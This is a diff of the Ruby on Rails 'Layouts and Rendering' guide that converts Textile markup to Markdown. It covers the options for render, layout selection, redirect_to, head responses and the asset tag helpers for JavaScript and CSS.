-Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the `:template` option (which was required on Rails 2.2 and earlier):
-<ruby>
+```ruby
render :template => "products/show"
-</ruby>
+```
-h5. Rendering an Arbitrary File
+#### Rendering an Arbitrary File
-The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
+The `render` method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
-<ruby>
+```ruby
render "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
+```
-Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the `:file` option (which was required on Rails 2.2 and earlier):
-<ruby>
+```ruby
render :file =>
"/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
+```
-The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+The `:file` option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
-NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the `:layout => true` option.
-TIP: If you're running Rails on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
+TIP: If you're running Rails on Microsoft Windows, you should use the `:file` option to render a file, because Windows filenames do not have the same format as Unix filenames.
-h5. Wrapping it up
+#### Wrapping it up
The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
-In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the +edit.html.erb+ template in the +views/books+ directory:
+In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
-<ruby>
+```ruby
render :edit
render :action => :edit
render "edit"
@@ -226,155 +229,155 @@ render "/path/to/rails/app/views/books/edit"
render "/path/to/rails/app/views/books/edit.html.erb"
render :file => "/path/to/rails/app/views/books/edit"
render :file => "/path/to/rails/app/views/books/edit.html.erb"
-</ruby>
+```
Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
-h5. Using +render+ with +:inline+
+#### Using `render` with `:inline`
-The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
+The `render` method can do without a view completely, if you're willing to use the `:inline` option to supply ERB as part of the method call. This is perfectly valid:
-<ruby>
+```ruby
render :inline =>
"<% products.each do |p| %><p><%= p.name %></p><% end %>"
-</ruby>
+```
WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
-By default, inline rendering uses ERB. You can force it to use Builder instead with the +:type+ option:
+By default, inline rendering uses ERB. You can force it to use Builder instead with the `:type` option:
-<ruby>
+```ruby
render :inline =>
"xml.p {'Horrid coding practice!'}", :type => :builder
-</ruby>
+```
-h5. Rendering Text
+#### Rendering Text
-You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
+You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`:
-<ruby>
+```ruby
render :text => "OK"
-</ruby>
+```
TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
-NOTE: By default, if you use the +:text+ option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option.
+NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `:layout => true` option.
-h5. Rendering JSON
+#### Rendering JSON
JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
-<ruby>
+```ruby
render :json => @product
-</ruby>
+```
-TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
+TIP: You don't need to call `to_json` on the object that you want to render. If you use the `:json` option, `render` will automatically call `to_json` for you.
-h5. Rendering XML
+#### Rendering XML
Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
-<ruby>
+```ruby
render :xml => @product
-</ruby>
+```
-TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
+TIP: You don't need to call `to_xml` on the object that you want to render. If you use the `:xml` option, `render` will automatically call `to_xml` for you.
-h5. Rendering Vanilla JavaScript
+#### Rendering Vanilla JavaScript
Rails can render vanilla JavaScript:
-<ruby>
+```ruby
render :js => "alert('Hello Rails');"
-</ruby>
+```
-This will send the supplied string to the browser with a MIME type of +text/javascript+.
+This will send the supplied string to the browser with a MIME type of `text/javascript`.
-h5. Options for +render+
+#### Options for `render`
-Calls to the +render+ method generally accept four options:
+Calls to the `render` method generally accept four options:
-* +:content_type+
-* +:layout+
-* +:status+
-* +:location+
+* `:content_type`
+* `:layout`
+* `:status`
+* `:location`
-h6. The +:content_type+ Option
+##### The `:content_type` Option
-By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
+By default, Rails will serve the results of a rendering operation with the MIME content-type of `text/html` (or `application/json` if you use the `:json` option, or `application/xml` for the `:xml` option.). There are times when you might like to change this, and you can do so by setting the `:content_type` option:
-<ruby>
+```ruby
render :file => filename, :content_type => "application/rss"
-</ruby>
+```
-h6. The +:layout+ Option
+##### The `:layout` Option
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+With most of the options to `render`, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
-You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
+You can use the `:layout` option to tell Rails to use a specific file as the layout for the current action:
-<ruby>
+```ruby
render :layout => "special_layout"
-</ruby>
+```
You can also tell Rails to render with no layout at all:
-<ruby>
+```ruby
render :layout => false
-</ruby>
+```
-h6. The +:status+ Option
+##### The `:status` Option
-Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
+Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this:
-<ruby>
+```ruby
render :status => 500
render :status => :forbidden
-</ruby>
+```
Rails understands both numeric and symbolic status codes.
-h6. The +:location+ Option
+##### The `:location` Option
-You can use the +:location+ option to set the HTTP +Location+ header:
+You can use the `:location` option to set the HTTP `Location` header:
-<ruby>
+```ruby
render :xml => photo, :location => photo_url(photo)
-</ruby>
+```
-h5. Finding Layouts
+#### Finding Layouts
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-h6. Specifying Layouts for Controllers
+##### Specifying Layouts for Controllers
-You can override the default layout conventions in your controllers by using the +layout+ declaration. For example:
+You can override the default layout conventions in your controllers by using the `layout` declaration. For example:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout "inventory"
#...
end
-</ruby>
+```
-With this declaration, all of the views rendered by the products controller will use +app/views/layouts/inventory.html.erb+ as their layout.
+With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
-To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class:
+To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
layout "main"
#...
end
-</ruby>
+```
-With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
+With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout.
-h6. Choosing Layouts at Runtime
+##### Choosing Layouts at Runtime
You can use a symbol to defer the choice of layout until a request is processed:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout "products_layout"
@@ -388,90 +391,90 @@ class ProductsController < ApplicationController
end
end
-</ruby>
+```
Now, if the current user is a special user, they'll get a special layout when viewing a product.
-You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request:
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
end
-</ruby>
+```
-h6. Conditional Layouts
+##### Conditional Layouts
-Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
+Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout "product", :except => [:index, :rss]
end
-</ruby>
+```
-With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
+With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods.
-h6. Layout Inheritance
+##### Layout Inheritance
Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
-* +application_controller.rb+
+* `application_controller.rb`
-<ruby>
-class ApplicationController < ActionController::Base
- layout "main"
-end
-</ruby>
+ ```ruby
+ class ApplicationController < ActionController::Base
+ layout "main"
+ end
+ ```
-* +posts_controller.rb+
+* `posts_controller.rb`
-<ruby>
-class PostsController < ApplicationController
-end
-</ruby>
+ ```ruby
+ class PostsController < ApplicationController
+ end
+ ```
-* +special_posts_controller.rb+
+* `special_posts_controller.rb`
-<ruby>
-class SpecialPostsController < PostsController
- layout "special"
-end
-</ruby>
+ ```ruby
+ class SpecialPostsController < PostsController
+ layout "special"
+ end
+ ```
-* +old_posts_controller.rb+
+* `old_posts_controller.rb`
-<ruby>
-class OldPostsController < SpecialPostsController
- layout false
+ ```ruby
+ class OldPostsController < SpecialPostsController
+ layout false
- def show
- @post = Post.find(params[:id])
- end
+ def show
+ @post = Post.find(params[:id])
+ end
- def index
- @old_posts = Post.older
- render :layout => "old"
- end
- # ...
-end
-</ruby>
+ def index
+ @old_posts = Post.older
+ render :layout => "old"
+ end
+ # ...
+ end
+ ```
In this application:
-* In general, views will be rendered in the +main+ layout
-* +PostsController#index+ will use the +main+ layout
-* +SpecialPostsController#index+ will use the +special+ layout
-* +OldPostsController#show+ will use no layout at all
-* +OldPostsController#index+ will use the +old+ layout
+* In general, views will be rendered in the `main` layout
+* `PostsController#index` will use the `main` layout
+* `SpecialPostsController#index` will use the `special` layout
+* `OldPostsController#show` will use no layout at all
+* `OldPostsController#index` will use the `old` layout
-h5. Avoiding Double Render Errors
+#### Avoiding Double Render Errors
-Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.
For example, here's some code that will trigger this error:
-<ruby>
+```ruby
def show
@book = Book.find(params[:id])
if @book.special?
@@ -479,11 +482,11 @@ def show
end
render :action => "regular_show"
end
-</ruby>
+```
-If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +regular_show+ view - and throw an error. The solution is simple: make sure that you have only one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
+If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method:
-<ruby>
+```ruby
def show
@book = Book.find(params[:id])
if @book.special?
@@ -491,54 +494,54 @@ def show
end
render :action => "regular_show"
end
-</ruby>
+```
-Make sure to use +and return+ instead of +&amp;&amp; return+ because +&amp;&amp; return+ will not work due to the operator precedence in the Ruby Language.
+Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
-Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors:
+Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
-<ruby>
+```ruby
def show
@book = Book.find(params[:id])
if @book.special?
render :action => "special_show"
end
end
-</ruby>
+```
-This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
+This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.
-h4. Using +redirect_to+
+### Using `redirect_to`
-Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
-<ruby>
+```ruby
redirect_to photos_url
-</ruby>
+```
-You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from:
+You can use `redirect_to` with any arguments that you could use with `link_to` or `url_for`. There's also a special redirect that sends the user back to the page they just came from:
-<ruby>
+```ruby
redirect_to :back
-</ruby>
+```
-h5. Getting a Different Redirect Status Code
+#### Getting a Different Redirect Status Code
-Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option:
+Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:
-<ruby>
+```ruby
redirect_to photos_path, :status => 301
-</ruby>
+```
-Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
+Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.
-h5. The Difference Between +render+ and +redirect_to+
+#### The Difference Between `render` and `redirect_to`
-Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
Consider these actions to see the difference:
-<ruby>
+```ruby
def index
@books = Book.all
end
@@ -549,11 +552,11 @@ def show
render :action => "index"
end
end
-</ruby>
+```
-With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering:
+With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:
-<ruby>
+```ruby
def index
@books = Book.all
end
@@ -564,15 +567,15 @@ def show
redirect_to :action => :index
end
end
-</ruby>
+```
-With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
+With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.
-The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
-<ruby>
+```ruby
def index
@books = Book.all
end
@@ -584,21 +587,21 @@ def show
render "index", :alert => "Your book was not found!"
end
end
-</ruby>
+```
-This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened.
+This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.
-h4. Using +head+ To Build Header-Only Responses
+### Using `head` To Build Header-Only Responses
-The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
-<ruby>
+```ruby
head :bad_request
-</ruby>
+```
This would produce the following header:
-<shell>
+```
HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
@@ -607,17 +610,17 @@ Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
-</shell>
+```
Or you can use other HTTP headers to convey other information:
-<ruby>
+```ruby
head :created, :location => photo_path(@photo)
-</ruby>
+```
Which would produce:
-<shell>
+```
HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
@@ -627,321 +630,322 @@ Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
-</shell>
+```
-h3. Structuring Layouts
+Structuring Layouts
+-------------------
When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
* Asset tags
-* +yield+ and +content_for+
+* `yield` and `content_for`
* Partials
-h4. Asset Tag Helpers
+### Asset Tag Helpers
Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
-* +auto_discovery_link_tag+
-* +javascript_include_tag+
-* +stylesheet_link_tag+
-* +image_tag+
-* +video_tag+
-* +audio_tag+
+* `auto_discovery_link_tag`
+* `javascript_include_tag`
+* `stylesheet_link_tag`
+* `image_tag`
+* `video_tag`
+* `audio_tag`
-You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +&lt;head&gt;+ section of a layout.
+You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-h5. Linking to Feeds with the +auto_discovery_link_tag+
+#### Linking to Feeds with the `auto_discovery_link_tag`
-The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
-<erb>
+```erb
<%= auto_discovery_link_tag(:rss, {:action => "feed"},
{:title => "RSS Feed"}) %>
-</erb>
+```
-There are three tag options available for the +auto_discovery_link_tag+:
+There are three tag options available for the `auto_discovery_link_tag`:
-* +:rel+ specifies the +rel+ value in the link. The default value is "alternate".
-* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
-* +:title+ specifies the title of the link. The default value is the uppercased +:type+ value, for example, "ATOM" or "RSS".
+* `:rel` specifies the `rel` value in the link. The default value is "alternate".
+* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
+* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS".
-h5. Linking to JavaScript Files with the +javascript_include_tag+
+#### Linking to JavaScript Files with the `javascript_include_tag`
-The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided.
+The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
-If you are using Rails with the "Asset Pipeline":asset_pipeline.html enabled, this helper will generate a link to +/assets/javascripts/+ rather than +public/javascripts+ which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1.
+If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1.
-A JavaScript file within a Rails application or Rails engine goes in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. These locations are explained in detail in the "Asset Organization section in the Asset Pipeline Guide":asset_pipeline.html#asset-organization
+A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization)
-You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called +javascripts+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this:
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
-<erb>
+```erb
<%= javascript_include_tag "main" %>
-</erb>
+```
-Rails will then output a +script+ tag such as this:
+Rails will then output a `script` tag such as this:
-<html>
+```html
<script src='/assets/main.js'></script>
-</html>
+```
The request to this asset is then served by the Sprockets gem.
-To include multiple files such as +app/assets/javascripts/main.js+ and +app/assets/javascripts/columns.js+ at the same time:
+To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:
-<erb>
+```erb
<%= javascript_include_tag "main", "columns" %>
-</erb>
+```
-To include +app/assets/javascripts/main.js+ and +app/assets/javascripts/photos/columns.js+:
+To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:
-<erb>
+```erb
<%= javascript_include_tag "main", "/photos/columns" %>
-</erb>
+```
-To include +http://example.com/main.js+:
+To include `http://example.com/main.js`:
-<erb>
+```erb
<%= javascript_include_tag "http://example.com/main.js" %>
-</erb>
+```
-If the application does not use the asset pipeline, the +:defaults+ option loads jQuery by default:
+If the application does not use the asset pipeline, the `:defaults` option loads jQuery by default:
-<erb>
+```erb
<%= javascript_include_tag :defaults %>
-</erb>
+```
-Outputting +script+ tags such as this:
+Outputting `script` tags such as this:
-<html>
+```html
<script src="/javascripts/jquery.js"></script>
<script src="/javascripts/jquery_ujs.js"></script>
-</html>
+```
-These two files for jQuery, +jquery.js+ and +jquery_ujs.js+ must be placed inside +public/javascripts+ if the application doesn't use the asset pipeline. These files can be downloaded from the "jquery-rails repository on GitHub":https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts
+These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the [jquery-rails repository on GitHub](https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts)
-WARNING: If you are using the asset pipeline, this tag will render a +script+ tag for an asset called +defaults.js+, which would not exist in your application unless you've explicitly created it.
+WARNING: If you are using the asset pipeline, this tag will render a `script` tag for an asset called `defaults.js`, which would not exist in your application unless you've explicitly created it.
-And you can in any case override the +:defaults+ expansion in <tt>config/application.rb</tt>:
+And you can in any case override the `:defaults` expansion in `config/application.rb`:
-<ruby>
+```ruby
config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
-</ruby>
+```
You can also define new defaults:
-<ruby>
+```ruby
config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js)
-</ruby>
+```
-And use them by referencing them exactly like +:defaults+:
+And use them by referencing them exactly like `:defaults`:
-<erb>
+```erb
<%= javascript_include_tag :projects %>
-</erb>
+```
-When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at the end.
+When using `:defaults`, if an `application.js` file exists in `public/javascripts` it will be included as well at the end.
-Also, if the asset pipeline is disabled, the +:all+ expansion loads every JavaScript file in +public/javascripts+:
+Also, if the asset pipeline is disabled, the `:all` expansion loads every JavaScript file in `public/javascripts`:
-<erb>
+```erb
<%= javascript_include_tag :all %>
-</erb>
+```
Note that your defaults of choice will be included first, so they will be available to all subsequently included files.
-You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
+You can supply the `:recursive` option to load files in subfolders of `public/javascripts` as well:
-<erb>
+```erb
<%= javascript_include_tag :all, :recursive => true %>
-</erb>
+```
-If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
+If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `:cache => true` in your `javascript_include_tag`:
-<erb>
+```erb
<%= javascript_include_tag "main", "columns", :cache => true %>
-</erb>
+```
-By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
+By default, the combined file will be delivered as `javascripts/all.js`. You can specify a location for the cached asset file instead:
-<erb>
+```erb
<%= javascript_include_tag "main", "columns",
:cache => "cache/main/display" %>
-</erb>
+```
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
+You can even use dynamic paths such as `cache/#{current_site}/main/display`.
-h5. Linking to CSS Files with the +stylesheet_link_tag+
+#### Linking to CSS Files with the `stylesheet_link_tag`
-The +stylesheet_link_tag+ helper returns an HTML +&lt;link&gt;+ tag for each source provided.
+The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
-If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to +/assets/stylesheets/+. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
-You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called +stylesheets+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this:
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
-<erb>
+```erb
<%= stylesheet_link_tag "main" %>
-</erb>
+```
-To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/columns.css+:
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "columns" %>
-</erb>
+```
-To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/photos/columns.css+:
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "/photos/columns" %>
-</erb>
+```
-To include +http://example.com/main.css+:
+To include `http://example.com/main.css`:
-<erb>
+```erb
<%= stylesheet_link_tag "http://example.com/main.css" %>
-</erb>
+```
-By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+):
+By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`):
-<erb>
+```erb
<%= stylesheet_link_tag "main_print", :media => "print" %>
-</erb>
+```
-If the asset pipeline is disabled, the +all+ option links every CSS file in +public/stylesheets+:
+If the asset pipeline is disabled, the `all` option links every CSS file in `public/stylesheets`:
-<erb>
+```erb
<%= stylesheet_link_tag :all %>
-</erb>
+```
-You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
+You can supply the `:recursive` option to link files in subfolders of `public/stylesheets` as well:
-<erb>
+```erb
<%= stylesheet_link_tag :all, :recursive => true %>
-</erb>
+```
-If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
+If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify `:cache => true` in your `stylesheet_link_tag`:
-<erb>
+```erb
<%= stylesheet_link_tag "main", "columns", :cache => true %>
-</erb>
+```
-By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
+By default, the combined file will be delivered as `stylesheets/all.css`. You can specify a location for the cached asset file instead:
